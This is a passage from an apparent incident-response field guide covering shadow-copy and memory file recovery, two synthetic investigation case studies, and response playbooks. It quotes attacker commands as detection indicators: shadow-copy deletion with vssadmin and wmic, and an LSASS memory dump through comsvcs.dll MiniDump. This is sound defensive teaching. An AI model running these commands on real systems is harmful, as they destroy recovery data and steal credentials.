This is exactly why the Ransomware playbook flags shadow-copy deletion (`vssadmin delete shadows`, `wmic shadowcopy delete`) as a red flag in its own right: a competent attacker knows shadow copies are a recovery path and tries to remove them specifically to prevent it. Their absence doesn't mean nothing to recover — it means check whether *older* shadow copies, taken before the deletion command ran, still survive.

11.5.2 How to enumerate and mount one

```
vssadmin list shadows
```

(add `/for=C:` to scope to a specific volume) lists available shadow copies, each with a device path resembling `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\`.

Mount a specific one as a browsable directory:

```
mklink /d C:\VSC_Analysis \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\
```

The trailing backslash on the device path is not optional — omitting it is the most common reason this command silently fails to produce a usable link. Once mounted, browse `C:\VSC_Analysis` with any normal tool exactly as if it were a live drive — it's read-only by nature of how VSS works, so there's no risk of contaminating the snapshot.

11.5.3 Working with shadow copies inside a forensic image

`vssadmin` requires a live, mounted Windows volume — for an offline forensic image, `libvshadow` (Joachim Metz — the same author as the Plaso project) is the standard tool, ships by default on the SIFT Workstation:

```
vshadowinfo -f disk.dd          # enumerate shadow copies within an image, no mounting needed
vshadowmount -f disk.dd mountdir/  # mount each shadow copy to its own subdirectory for analysis
```

11.5.4 What to actually pull once you have access

- The specific file(s) you already know are relevant, at their pre-tampering state — direct comparison against the current, tampered version can itself become evidence of what changed.
- A copy of `.evtx` log files if the live ones were cleared — see that page's recovery-avenue table; a surviving shadow copy is usually the fastest and most complete option when one exists.
- Registry hives as they existed at snapshot time, for comparing against current persistence findings to establish when a change was actually made.

11.5.5 The honest limitation

Shadow copies are created on a schedule (or triggered by specific system events, like before a Windows Update), not continuously — there's no guarantee one exists from close enough to the incident window to be useful, and Windows automatically ages out and deletes older shadow copies as disk space is needed for new ones regardless of any attacker action. Check what's available before building an investigative plan that depends on it.

11.5.6 Turning this into report language

"A prior version of the file was reviewed" understates what actually happened and how it's justified. "A Volume Shadow Copy created at [timestamp], predating the attacker's first confirmed access by approximately six hours, was mounted and found to contain an intact copy of `Groups.xml` without the malicious GPP modification present in the current version — confirming the GPO tampering occurred after this snapshot and providing a verified pre-compromise baseline" ties the recovery technique directly to a specific, dated conclusion, which is the difference between "we found an old copy" and a defensible timeline anchor.

11.5.7 Referenced From

- Anti-Forensics & Data Recovery
- Log & Artifact Recovery
- Glossary

11.5.8 Sources

- Microsoft Learn — Volume Shadow Copy Service technical reference
- `libvshadow` (Joachim Metz) documentation
- SANS Digital Forensics Certifications overview (FOR500/FOR508 — Volume Shadow Copy forensics)

August 3, 2026

Anti-Forensics

11.6 Memory-Based File Recovery

11.6.1 What it is, and why memory succeeds where disk fails

A file that's been deleted, securely wiped, or never fully committed to disk can still be sitting, intact, in memory — if it was open, mapped, or loaded at the moment of acquisition. This is the sharpest illustration of why Order of Volatility puts memory ahead of disk: an attacker focused entirely on disk-based anti-forensics (secure deletion, carving-resistant wiping) may not have touched — or even been aware of — the copy still resident in RAM.

11.6.2 Where this applies

- A malicious DLL or executable, memory-mapped into a process, then deleted from disk while the process kept running (or shortly after it exited, before the memory was reclaimed).
- A document opened, read, and closed by an application whose cache or working set still holds the content, even after the file itself was deleted.
- Any file an attacker's own tooling read into memory as part of execution — the memory copy doesn't disappear just because the on-disk original does.

11.6.3 How to actually pull it

Volatility's `windows.dumpfiles` plugin extracts memory-mapped files directly from a capture:

```
vol -f memory.dmp windows.dumpfiles --pid <PID>
```

This works because a memory-mapped file's data pages are tracked the same way any other VAD-backed memory region is — the same underlying structure `vadinfo` already reads for injection detection. Extracting a deleted-from-disk file and extracting an injected code region are, mechanically, close cousins of the same technique.

11.6.4 What you get, and its limits

A memory-mapped file recovered this way is frequently **not byte-identical** to the original on-disk file — memory-mapping can involve padding, partial loading (only the pages actually accessed may be resident), or in-memory modification after loading. Treat a memory-recovered file as strong evidence of *content and presence*, and verify anything you plan to state as a precise hash match against other corroborating sources before treating the recovered copy as forensically identical to the original.

11.6.5 How you actually use this in an investigation

This is a targeted technique, not a broad sweep — you reach for it once process or thread analysis has already identified a specific PID worth extracting from, not as a first move against an entire memory image. The natural sequence: malware triage flags a process → you determine it loaded or referenced a file that's no longer on disk → `dumpfiles` against that specific PID recovers what's still resident.

11.6.6 Turning this into report language

"The malicious file could not be recovered from disk" is where a lot of investigations would stop — and it's not actually the end of the story if a memory capture exists. "Although the dropped payload was deleted from disk prior to acquisition (confirmed absent via MFT review), the memory capture of PID 4412 retained the mapped file content, recovered via `windows.dumpfiles` and confirmed to match the SHA-256 hash associated with [known-malicious indicator]" turns a dead end into a confirmed technical finding, and is exactly the kind of detail that justifies why memory acquisition mattered enough to prioritize in the first place.

11.6.7 Referenced From

- Anti-Forensics & Data Recovery

11.6.8 Sources

- Volatility 3 documentation (volatility3.readthedocs.io) — `windows.dumpfiles`
- SANS Digital Forensics Certifications overview (FOR508 — memory-based file recovery)

August 3, 2026

12. Case Studies

Case Study

12.1 Case Studies

Every Playbook in this guide tells you what to pull and what questions to ask. Neither tells you what the reasoning between those questions actually looks like — why finding X sends you to check Y specifically, how you catch a timestamp lying to you, or how much corroboration is actually enough before you act. That connective reasoning is the investigative mindset, and a checklist structure can't model it by itself. These case studies exist to show it directly: one continuous investigation each, narrated at the point-by-point level, including the moment a naive read of the data would have led somewhere wrong.

Both case studies are original and synthetic — built specifically to exercise techniques already sourced on their linked reference pages, not drawn from any real incident.

12.1.1 Available case studies

Case Study	The central lesson	Ties to
Domain Compromise, End to End	Clock skew between hosts can flip your read on an attack from "automated tooling" to "human operator" — and how you catch it using an independently-timestamped calibration event	Timeline Construction, DCSync Detection, Domain Compromise playbook
Business Email Compromise, End to End	A negative search result from a log with known ingestion latency isn't a clean bill of health — it might just be too early to ask	Timeline Construction, Sign-In vs. Audit Logs, BEC playbook

Read these after, not instead of, the reference pages

Every specific fact used in these narratives — an event ID, a GUID, a retention window — is explained properly on the page it links to. These case studies assume you've been there already; their job is showing what it looks like to *use* that knowledge under time pressure, not to re-teach it.

12.1.2 Referenced From

- Enterprise DFIR Field Guide

August 3, 2026

Case Study

12.2 Case Study: Domain Compromise, End to End

Every other page in this guide answers "what does this look like" for one artifact at a time. This page is different on purpose: it's one continuous investigation, narrated the way it actually unfolds — including the moment where a naive reading of the timestamps would have led to the wrong conclusion, and how you'd catch that.

This case study builds toward the exact event sequence in the Event Log Story drill. If you've already done that drill, you've seen the ending — this is the investigation that gets you there.

12.2.1 The trigger

03:16:55 UTC — a Defender for Identity alert: *Suspected DCSync attack*. Source account: `svc-backup`. Source computer: `WKS-4471`. This timestamp comes from the Domain Controller observing the replication request directly — see DCSync Detection — which makes it accurate and high-confidence. It is not, however, the start of the story.

12.2.2 Step 1 — why you go to the workstation before the DC

The alert tells you *who* and *from where*, not *how*. `svc-backup` is a service account; service accounts don't normally authenticate interactively from a workstation at all, let alone request directory replication from one. That gap — how did a service account's credential end up usable from `WKS-4471` — is the actual question, and it's upstream of anything you'll find by going straight to the DC. You pull triage data from `WKS-4471` first.

12.2.3 Step 2 — Prefetch

```
Source .pf file: SVCHOST_HELPER.EXE-9B2A7C41.pf
Run Count: 1
Last Run (local, WKS-4471): 03:12:14
Path: C:\Users\jsmith\AppData\Local\Temp\
```

Per Prefetch: a name engineered to look system-related, a single execution, launched from a user's Temp folder. All three red flags at once. This is worth pulling threads on before you assume it's unrelated to the DFI alert.

12.2.4 Step 3 — Sysmon on the same host

Event ID 1 (process creation) shows `SVCHOST_HELPER.EXE` spawning:

```
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 892 C:\Windows\Temp\~dc1.tmp full
```

This is the exact LSASS memory-dump technique covered in Module 3 — PID 892 being `lsass.exe`. At this point you have a plausible mechanism: this is how an attacker on a single workstation could have obtained `svc-backup`'s credential material, if that account had ever authenticated interactively on this box (worth confirming separately, but consistent with the story so far).

Event ID 3 (network connection) on the same host shows an outbound connection at **03:15:38 (local, WKS-4471)** to an internal proxy address.

12.2.5 Step 4 — the timestamps don't make sense yet, and that's the signal

Laid out naively, `WKS-4471`'s local times put the LSASS dump around 03:12–03:13 and the DFI-alerted DCSync at 03:16:55 — under four minutes apart. Possible, but tight enough to be worth checking rather than assuming, per Timeline Construction & Correlation: **don't trust a single host's clock without calibrating it first.**

You pull the organization's central firewall/proxy log — independently timestamped, NTP-synced — and search for the same connection: matching source IP, destination, and port.

```
WKS-4471 local Sysmon Event ID 3 timestamp:   03:15:38
Firewall log, same connection, independent:    03:01:38
```

Fourteen minutes apart, for the identical event. `WKS-4471`'s clock is running **14 minutes fast**.

12.2.6 Step 5 — correcting the timeline

Apply that correction to every timestamp `WKS-4471` generated locally — not just the one you checked:

Event	As recorded (local, WKS-4471)	Corrected (true UTC)
`SVCHOST_HELPER.EXE` executes (Prefetch)	03:12:14	**02:58:14**
LSASS dumped via `comsvcs.dll` (Sysmon 1)	~03:12:41	**~02:58:41**
Outbound connection (Sysmon 3)	03:15:38	**03:01:38** *(matches firewall exactly — correction confirmed)*

The DC-side events need no correction — the DC's clock is the accurate reference this whole correction was measured against:

Event	Time (UTC, DC-accurate)
First failed logon, `svc-backup`	03:14:02
Second failed logon	03:14:09
Successful logon	03:14:41
DCSync (4662, replication GUID)	03:16:55
`AdminSDHolder` modified (5136)	03:19:20
Security log cleared (1102)	03:21:03

12.2.7 Step 6 — why the correction matters, not just the numbers

Before correction, the gap between "malware runs" and "attacker starts hitting the DC" looked like roughly 108 seconds — fast enough to suggest fully automated, scripted tooling. **After correction, it's about sixteen minutes** (02:58:14 to 03:14:02) — consistent with a human operator manually dumping LSASS, extracting the credential, and pivoting to the DC by hand. That's a materially different read on who and what you're dealing with, and it came entirely from a three-line calibration check against an independent log source.

12.2.8 Step 7 — how much is enough to act on

By this point, three independently-generated sources agree with each other: `WKS-4471`'s Prefetch and Sysmon data (endpoint), the firewall log (network, used to calibrate and independently confirms the connection), and the DC's own Security log and DFI alert (directory service). Per Timeline Construction & Correlation's standard — independent corroboration, not just internal consistency within one source — this is enough to treat the finding as confirmed, not provisional: `svc-backup`'s credential, very likely including `krbtgt`, is compromised.

12.2.9 What happens from here

This is exactly where the Domain Compromise playbook picks up — isolate `WKS-4471`, disable `svc-backup`, and begin the `krbtgt` double-reset. The DC-side sequence above — 03:14:02 through 03:21:03 — is precisely the Event Log Story drill; if you haven't tried reconstructing it cold, it's a good next step now that you've seen where it comes from.

12.2.10 Referenced From

- ATT&CK Coverage Map
- Reporting & Communication
- Case Study: Business Email Compromise, End to End
- Case Studies

12.2.11 Sources

- SANS Digital Forensics Certifications overview (FOR508 — timeline analysis and Active Directory incident response)
- This case study's data is original and synthetic, built to exercise techniques sourced individually on the linked pages above

August 3, 2026

Case Study

12.3 Case Study: Business Email Compromise, End to End

Where the Domain Compromise case study is about a wrong clock, this one is about a different — and arguably more dangerous — timing trap: a log source that's telling the truth, but not yet. Cloud logs don't have the clock-skew problem endpoint logs do (Microsoft's own timestamps are reliably UTC-accurate), but they have a different one, and it can lead an investigator to declare an incident clean when it isn't.

12.3.1 The trigger

10:00 UTC — Finance escalates a payment-change email that came from a colleague's real address, requesting a vendor bank-account update. IR is engaged fast — under an hour after the actual compromise, as it turns out, which is genuinely good detection. Good detection doesn't remove the timing trap waiting downstream.

12.3.2 Step 1 — confirm the account is actually compromised

First move, per the BEC playbook: pull sign-in logs for the sender. Entra ID sign-in logs are near-real-time — unlike the Unified Audit Log, they don't carry meaningful ingestion delay, which is exactly why they're the right place to start.

```
10:05 UTC — sign-in log query
Result: new session, 09:15 UTC, unfamiliar device, MFA satisfied,
        client: modern browser via unfamiliar egress IP
```

MFA being satisfied doesn't clear this — it raises the stakes. A satisfied-MFA sign-in from an unfamiliar device is consistent with an AiTM phishing kit having relayed a live, MFA-passed session rather than a simple password guess. Confirmed: this account is compromised, as of 09:15 UTC.

12.3.3 Step 2 — check for persistence, and hit an apparent dead end

Per the Persistence Catalog, the next move is checking for a forwarding rule or delegate grant — the mechanism that would let an attacker keep reading this mailbox even after the password is reset.

```
10:08 UTC — Unified Audit Log query
Search: New-InboxRule, Set-Mailbox (ForwardingSmtpAddress)
User: (mapped from the finance report's display name to the correct UPN
       via the sign-in log entry above — the two systems don't always
       reference the same account the same way)
Result: no matching events
```

This is the trap. It's tempting to read "no results" as "no persistence mechanism was planted" and move straight to remediation. Don't.

12.3.4 Step 3 — why "no results" doesn't mean "nothing happened"

Timeline Construction & Correlation frames this generally; here's the specific mechanism. The Unified Audit Log does not ingest events instantly — Microsoft's own documented figure for core services (Exchange included) is **typically 60 to 90 minutes** between an event occurring and it becoming searchable. The query above ran at 10:08, roughly **51 minutes** after the 09:15 compromise — comfortably inside that window. A malicious inbox rule created at, say, 09:17 may simply not be indexed yet. The query didn't find nothing because there's nothing there; it found nothing because it asked too early.

> **The actual failure mode this causes**
>
> An analyst who takes the empty query result at face value, declares "no persistence found," and closes the loop on eradication — while a forwarding rule that hasn't shown up yet keeps forwarding every subsequent email to the attacker, undetected, because nobody checked again.

12.3.5 Step 4 — the correct move: act on what you know, verify again later

You already have enough independently-confirmed compromise (Step 1) to act — you don't need UAL confirmation of persistence to justify containment. Proceed immediately with the hybrid account-compromise runbook: disable, reset (twice, if hybrid-joined), and run `Revoke-MgUserSignInSession`. Then set a deliberate re-check:

```
11:20 UTC — Unified Audit Log query, re-run
Result: New-InboxRule, 09:17 UTC, forwarding to an external address,
        auto-delete on the original after forward
```

Now visible — roughly two hours after the underlying event, safely past the documented ingestion window. The rule gets removed per Mailbox Forwarding Rules, and every email that matched it between 09:17 and removal gets treated as read by the attacker for breach-notification purposes.

12.3.6 Step 5 — how much is enough to act on, at each stage

Two different evidentiary bars appear in this case study, and it's worth naming both:

- **At Step 1**, one independent, fast, high-confidence source (the sign-in log) was enough to justify immediate containment. Containment doesn't need to wait for every possible corroborating source — the cost of acting on a confirmed-anomalous sign-in is low and the cost of waiting is not.
- **At Step 2**, one *negative* result from a source with known latency was **not** enough to justify standing down. Absence of evidence from a source that hasn't finished ingesting isn't evidence of absence — the correct response to an inconclusive negative is to act on what's already confirmed and re-check later, not to treat silence as an answer.

Knowing which bar applies when — acting fast on strong positive evidence, refusing to act on a premature negative — is most of what separates a fast, correct response from a fast, wrong one.

12.3.7 Referenced From

- Case Studies

12.3.8 Sources

- Microsoft Learn — Search the audit log (documented 60–90 minute typical ingestion window for core services)
- This case study's data is original and synthetic, built to exercise techniques sourced individually on the linked pages above

August 3, 2026

13. Investigation Playbooks

Playbook

13.1 Module 8: Investigation Playbooks

Every playbook below is short on purpose — it's a decision path through Modules 0–7, not a re-explanation of them. Each follows the same shape:

Trigger → Triage questions → Data to pull → Analysis steps → Contain/Eradicate → Recover → Lessons learned

(the PICERL shape from Module 0, applied concretely)

13.1.1 Module status: complete

- [x] Business Email Compromise (BEC)
- [x] Domain Compromise / Lateral Movement
- [x] Ransomware
- [x] Insider Threat
- [x] Data Exfiltration
- [x] Phishing (Initial Access)
- [x] Web Shell / Server Compromise

Every playbook above links directly into the specific Knowledge Base pages it depends on — for example, the BEC playbook leans heavily on Module 6's hybrid account-compromise runbook rather than repeating those steps inline. Where a playbook needs a page that isn't written yet (some Active Directory, Memory Forensics, or PowerShell Forensics detail), it says so directly rather than skipping the reference.

13.1.2 Referenced From

- The Incident Response Lifecycle
- Module 2: Active Directory & Domain Controllers
- Automated Investigation & Remediation: What It Does, and Doesn't, Do
- Enterprise DFIR Field Guide

August 3, 2026

Playbook

13.2 Playbook: Business Email Compromise (BEC)

13.2.1 Trigger

A user reports mailbox activity they don't recognize, finance flags a suspicious payment-change request, an external party reports a phishing email that appears to come from inside your organization, or an automated alert fires — impossible travel on a sign-in, a new mailbox rule, an unfamiliar OAuth consent grant.

13.2.2 Triage questions

- Was MFA enabled on the account, and if so, does the sign-in log show it was actually satisfied (vs. bypassed via a legacy protocol or an AiTM phishing proxy)?
- Are there any new inbox rules, forwarding configurations, or delegate-access grants?
- Are there any new OAuth application consents?
- Did the attacker send mail from this account — to internal recipients (further lateral phishing) or external ones (fraud attempts)?
- Was any financial transaction initiated, approved, or modified while the account was compromised?

13.2.3 Data to pull

- Entra ID sign-in logs for the account (location, device, client app, MFA status)
- Unified Audit Log: `New-InboxRule`, `Set-InboxRule`, `Set-Mailbox` (forwarding), `Add-MailboxPermission`
- Consent/OAuth grant history — see OAuth Consent Grants
- Message trace for anything sent from the account during the suspected compromise window
- MFA method registration history (a newly added authenticator app or phone number is the attacker locking in a second factor of their own)

13.2.4 Analysis

Anchor everything to the earliest anomalous sign-in, then check what changed in the minutes/hours after it — mailbox rule creation and OAuth consent grants typically follow very shortly after initial access, since they're how the attacker converts a one-time credential theft into standing access. Review any mail sent from the account during the window for both outbound fraud attempts and further phishing against internal contacts.

13.2.5 Contain / Eradicate

Follow the hybrid account-compromise runbook in full: disable, reset the password (twice, if hybrid-joined), and run `Revoke-MgUserSignInSession` — GUI-only remediation leaves standing token access intact. Then clear the specific persistence the attacker planted:

- Remove any mailbox forwarding rules or delegate grants
- Revoke any malicious OAuth consent
- Remove any MFA method the attacker registered

13.2.6 Recover

Re-enable the account only after the above is confirmed complete, with heightened sign-in monitoring for a defined follow-up period. If any fraudulent email was sent to external parties, notify them directly — don't rely on them to figure it out independently.

13.2.7 Lessons learned

Was MFA actually enforced for this account, or was it exempted/using a legacy auth protocol that bypasses it? Would Conditional Access requiring a compliant or hybrid-joined device have blocked the initial sign-in? If a financial fraud attempt succeeded even partially, that's a process gap (payment-detail changes should require out-of-band verbal verification) as much as a technical one.

13.2.8 Referenced From

- Automated Investigation & Remediation: What It Does, and Doesn't, Do
- Module 8: Investigation Playbooks
- Playbook: Phishing (Initial Access)
- Case Study: Business Email Compromise, End to End
- Case Studies

13.2.9 Sources

- SANS Digital Forensics Certifications overview (FOR508/FOR509 — cloud account compromise response)
- NIST SP 800-61 Rev. 2 (see Module 0 for the phase structure this playbook follows)

August 3, 2026

Playbook

13.3 Playbook: Domain Compromise / Lateral Movement

13.3.1 Trigger

A Defender for Identity alert (DCSync pattern, Golden/Silver Ticket indicators, Kerberoasting), a privileged account authenticating from an unexpected host or at an unusual hour, or a pattern of one account authenticating across many hosts in a short window — the hallmark of an attacker moving laterally with a stolen credential.

13.3.2 Triage questions

- Which accounts show authentication to hosts they don't normally touch?
- Is there evidence of credential access — unusual handles opened to `lsass.exe` (see Baseline Process Trees)?
- Are there DCSync-pattern replication requests originating from a non-Domain-Controller host?
- Can you identify patient zero — the first host in the chain?

13.3.3 Data to pull

- Security 4624/4625/4648/4672 across Domain Controllers and every host the suspect account touched
- Sysmon Event ID 10 (`ProcessAccess`) fleet-wide, filtered to `lsass.exe` as the target
- Amcache and Prefetch on each affected host, for evidence of credential-theft or lateral-movement tooling
- Replication metadata from the Active Directory module — `repadmin` output and replication-attribute timestamps

13.3.4 Analysis

Build an authentication timeline for the compromised account across every host, working backward from the most recent activity to identify patient zero. Cross-reference `lsass.exe` access events against the baseline process tree — a credential-theft tool accessing `lsass.exe` shows up as a process with no business reason to touch it, from a parent that has no business launching it. Confirm whether DCSync or ticket-forging indicators point to full domain compromise (attacker has, or can trivially get, Domain Admin-equivalent access) rather than a single-host incident.

13.3.5 Contain

Isolate every confirmed-affected host from the network before doing anything else. Disable every confirmed-compromised account. **Do not immediately reset** `krbtgt` without a coordinated plan — done carelessly, a single reset creates confusion during an already-chaotic incident; done as a rushed panic action, it can also tip off an attacker still active in the environment.

13.3.6 Eradicate

Reset the `krbtgt` account's password **twice**, with time for replication to converge between resets — the same underlying logic as the password-reset-twice guidance in Module 6: a single reset can leave a window where old key material is still valid somewhere in the domain, which is exactly what a Golden Ticket exploits. Remove every persistence mechanism found on every affected host — a domain-wide incident requires a domain-wide sweep, not just cleanup of patient zero.

13.3.7 Recover

Re-enable accounts and hosts in stages, with monitoring in place, rather than all at once. Rotate credentials for every account with any plausible exposure, not just the ones with confirmed misuse.

13.3.8 Lessons learned

Was there a credential-tiering model in place (workstation-tier accounts never used for server or DC administration)? Where did detection actually catch this — and how much lateral movement happened before it did? That gap is usually the most actionable finding in the whole incident.

13.3.9 Referenced From

- ATT&CK Coverage Map
- Automated Investigation & Remediation: What It Does, and Doesn't, Do
- Module 8: Investigation Playbooks
- Case Study: Domain Compromise, End to End
- Case Studies

13.3.10 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Active Directory incident response)
- NIST SP 800-61 Rev. 2 (see Module 0 for the phase structure this playbook follows)

August 3, 2026

Playbook

13.4 Playbook: Ransomware

13.4.1 Trigger

Mass file encryption alerts from EDR, a ransom note appearing across multiple hosts or shares, shadow-copy deletion activity (`vssadmin delete shadows`, `wmic shadowcopy delete`), or backup infrastructure suddenly becoming unreachable or showing deletion activity.

13.4.2 Triage questions

- How many hosts are affected, and is encryption still actively spreading right now?
- What was the initial access vector, and is the entry point still open?
- Is there evidence of data exfiltration *before* encryption began (double-extortion is now the norm, not the exception) — large outbound transfers in the hours/days prior?
- Were backups themselves targeted, deleted, or encrypted?

13.4.3 Data to pull

- Process trees and Prefetch/Amcache on patient zero, to identify the encryptor binary and how it arrived
- Scheduled Tasks, Services, and other persistence mechanisms used to propagate across the environment
- Network connection data (`netscan` in memory forensics) for both lateral spread and any exfiltration channel
- Backup system logs and current backup integrity status

13.4.4 Analysis

Identify the strain if possible (ransom note format, file extension, encryption tooling behavior) since it can inform expected TTPs and whether decryption is publicly known to be possible. Map the full lateral-movement path from initial access to mass encryption — this is almost always a multi-stage intrusion where encryption is the *final*, loudest step, not the first one. Determine definitively whether data left the environment before encryption; this changes the incident's classification and notification obligations regardless of whether a ransom is ever considered.

13.4.5 Contain

Isolate every affected host from the network immediately — segment aggressively rather than conservatively while scope is still being established. Disable accounts confirmed or suspected compromised. Preserve evidence (memory captures, disk images) on representative affected hosts *before* any cleanup or reimaging destroys it — the pressure to restore service fast is real, but a fully wiped fleet with no forensic evidence makes root-cause and full-scope determination much harder, if not impossible.

13.4.6 Eradicate

This requires a full-environment sweep, not spot-cleaning: identify and remove every instance of the encryptor and every persistence mechanism across every touched host — see the Persistence Catalog systematically rather than relying on what's already been found. Reset credentials for every account with plausible exposure. Whether to engage with the ransom demand at all is a business and legal decision involving leadership and outside counsel, not a technical one — this guide doesn't take a position on it.

13.4.7 Recover

Restore only from backups confirmed clean and predating the intrusion's known start — restoring from a backup taken *during* the dwell-time window can silently reintroduce the attacker's access. Where confidence in a host's cleanliness is in doubt, rebuild rather than clean.

13.4.8 Lessons learned

Were backups actually immutable/offline, or reachable (and therefore vulnerable) from the production network? Did network segmentation limit spread the way it was designed to, or did the attacker move through it unimpeded? What was the initial vector, and is that specific gap now closed?

13.4.9 Referenced From

- ATT&CK Coverage Map
- Malware Triage Methodology
- Module 8: Investigation Playbooks
- Volume Shadow Copy Recovery
- Practice Drills
- Drill: Timeline Correlation

13.4.10 Sources

- SANS Digital Forensics Certifications overview (FOR508 — ransomware response methodology)
- CISA — StopRansomware guidance and response checklists
- NIST SP 800-61 Rev. 2 (see Module 0 for the phase structure this playbook follows)

August 3, 2026

Playbook

13.5 Playbook: Insider Threat

13.5.1 Trigger

A DLP alert on unusual data movement, an HR or Legal referral (often tied to a departing employee or a workplace dispute), or an access pattern clearly outside someone's normal baseline — after-hours access to systems unrelated to their role, for example.

This playbook is procedurally different from the others in this catalog: it usually can't proceed on purely technical authority. Coordinate with HR and Legal early, since employment law, union agreements, and evidentiary standards for potential termination or litigation vary by jurisdiction and can constrain what technical action is appropriate and when.

13.5.2 Triage questions

- What does this person's *normal* access and data-handling pattern look like, and how does current activity compare?
- Is there a relevant employment context (resignation notice, performance action, role change) that changes the read on this activity?
- Is there evidence of deliberate data staging — collecting files into one location ahead of a transfer?

13.5.3 Data to pull

- ShellBags for evidence of browsing to unusual locations (shared drives, other users' folders)
- USN Journal for mass file-copy or file-collection activity in a short window
- DLP / Defender for Cloud Apps logs for uploads to personal cloud storage or unusual external destinations
- USB device connection history (`HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR`) and print logs, where relevant to the suspected activity

13.5.4 Analysis

Build a factual timeline of data access and movement, and stay strictly behavioral — describe what the data shows without asserting motive or intent that the evidence doesn't directly support. Correlate against the relevant employment timeline (notice date, last working day) where one exists, since data-handling risk often concentrates in that window.

13.5.5 Contain

Technical containment (restricting access, disabling accounts) in an insider case usually needs to be coordinated with HR/Legal on timing — acting unilaterally can complicate both the employment process and any later legal proceeding. Preserve evidence forensically from the outset, since insider cases are disproportionately likely to end up in litigation or a formal disciplinary process where evidentiary rigor matters more than in a typical external-attacker incident (see Evidence Handling).

13.5.6 Recover

Standard offboarding hardening once the situation is resolved: full access revocation, credential rotation for any shared systems, review of what the person had access to versus what they needed.

13.5.7 Lessons learned

Was access provisioned on a least-privilege basis, or did this person have standing access to data with no clear business need? Was offboarding (for a departure-related case) executed promptly relative to the notice date, or did a gap leave a window for this activity?

13.5.8 Referenced From

- Playbook: Data Exfiltration
- Module 8: Investigation Playbooks

13.5.9 Sources

- SANS Digital Forensics Certifications overview (FOR508/FOR500 — insider investigation methodology)
- Evidence Handling & Chain of Custody — this playbook's evidentiary rigor draws directly from that page's enterprise-vs-legal framing

August 3, 2026

Playbook

13.6 Playbook: Data Exfiltration

13.6.1 Trigger

A DLP alert, an unusual spike in outbound data volume from a host or account, or an anomalous-download alert from Defender for Cloud Apps — a user or a compromised account pulling down far more data than their normal pattern.

13.6.2 Triage questions

- What data was accessed, and how sensitive/regulated is it?
- How much left the environment, and through what channel (cloud storage upload, email attachment, USB, an API/automation path)?
- Is this tied to a compromised account (see the hybrid runbook) or to insider activity (see the Insider Threat playbook)?

13.6.3 Data to pull

- Proxy/firewall logs for large outbound transfers around the suspected window
- DLP logs and Defender for Cloud Apps anomalous-download alerts
- ShellBags and USN Journal for evidence of data staging beforehand
- Entra ID sign-in logs, if the path was a compromised cloud account rather than an endpoint

13.6.4 Analysis

Establish, as precisely as the evidence allows, exactly what data left and where it went — this drives everything downstream, including whether breach-notification obligations are triggered. Distinguish a smash-and-grab (rapid, bulk collection immediately after access) from a slower, staged exfiltration, since the latter often indicates either an insider or an attacker with a higher degree of operational patience.

13.6.5 Contain

Block the specific exfiltration channel (the destination domain/IP, the OAuth app, the account). Revoke any access the exfiltrating party still holds.

13.6.6 Eradicate

Remove any tooling or persistence used to stage or automate the transfer — check the Persistence Catalog, particularly the cloud-side entries if this ran through a compromised identity rather than direct endpoint access.

13.6.7 Recover

Work with Legal/compliance to assess breach-notification obligations based on the classification of what was taken — this is usually the highest-stakes recovery decision in this specific playbook, more so than the technical remediation itself.

13.6.8 Lessons learned

Where was the DLP/monitoring gap that let this reach the point of actual data leaving, rather than being caught at the attempt stage? Was the sensitivity of the affected data actually reflected in its access controls beforehand?

13.6.9 Referenced From

- ATT&CK Coverage Map
- Module 8: Investigation Playbooks

13.6.10 Sources

- SANS Digital Forensics Certifications overview (FOR509/FOR572 — data movement and exfiltration analysis)
- NIST SP 800-61 Rev. 2 (see Module 0 for the phase structure this playbook follows)

August 3, 2026

Playbook

13.7 Playbook: Phishing (Initial Access)

13.7.1 Trigger

A user reports a suspicious email, a Defender for Office 365 detonation/Safe Links alert fires, or the help desk fields a report of an unexpected credential prompt.

13.7.2 Triage questions

- Did the user interact with the email — click a link, open an attachment, enter credentials?
- If credentials were entered, was this a standard credential-harvesting page, or an **adversary-in-the-middle (AiTM) proxy** — a phishing kit that sits between the user and the real login page, relaying the session in real time? This distinction matters enormously: a standard harvester only gets a password, but an AiTM kit can capture a fully MFA-satisfied session token, which makes MFA irrelevant to the compromise.
- Is there a sign-in from an unfamiliar location/device immediately following the phishing timestamp?

13.7.3 Data to pull

- Message trace for the phishing email — who received it, and did anyone forward it further internally
- Defender for Office 365 Safe Links/Safe Attachments verdict and click data
- Entra ID sign-in logs for every recipient who may have interacted with it, focused on the window immediately after

13.7.4 Analysis

If any recipient's sign-in log shows a new session shortly after interacting with the email — especially from an unfamiliar location, with MFA satisfied — treat this as a likely account compromise, not just a near-miss, and move directly into the hybrid account-compromise runbook or the BEC playbook rather than closing this out as "user didn't fall for it."

13.7.5 Contain

Block the sender and the malicious URL/domain at the mail gateway. Use Defender for Office 365's purge capability to remove the message from every mailbox it reached, not just the ones that reported it.

13.7.6 Eradicate

For any account with a confirmed post-click sign-in: revoke sessions per the hybrid runbook — remember that for an AiTM-captured session, a password reset alone does **not** invalidate the stolen session token; explicit revocation is required.

13.7.7 Recover

Standard re-enablement once remediation is confirmed complete. Consider targeted awareness follow-up with the specific team/individuals affected, since a pattern of the same group being targeted repeatedly often reflects a specific role-based risk worth addressing directly.

13.7.8 Lessons learned

Was this caught by filtering, or only by user report after the fact — and if the latter, what would need to change for it to be caught earlier? If credentials or a session were captured, does your environment's Conditional Access posture actually resist AiTM (token binding, compliant-device requirements) or does it rely on MFA alone?

13.7.9 Referenced From

- ATT&CK Coverage Map
- Advanced Hunting with KQL
- Module 8: Investigation Playbooks
- Case Study: Business Email Compromise, End to End
- Drill: Timeline Correlation

13.7.10 Sources

- SANS Digital Forensics Certifications overview (FOR509 — phishing and initial-access investigation)
- Microsoft Learn — What is Microsoft Defender XDR?

August 3, 2026

Playbook

13.8 Playbook: Web Shell / Server Compromise

13.8.1 Trigger

An EDR alert on an unusual child process of a web server worker process (`w3wp.exe`, `httpd`, `nginx`), an unfamiliar file appearing in a web-accessible directory, or unexpected outbound traffic originating from a server that should only ever receive inbound requests.

13.8.2 Triage questions

- What application is running on this server, and does it have a known recent vulnerability (a CMS plugin, an unpatched framework version)?
- Is the server internet-facing?
- Has the shell been used to move laterally to other hosts?

13.8.3 Data to pull

- Web server access logs for the request that likely dropped the shell (often a POST to an unusual path, or a file upload endpoint)
- Prefetch and Amcache for anything executed through the shell
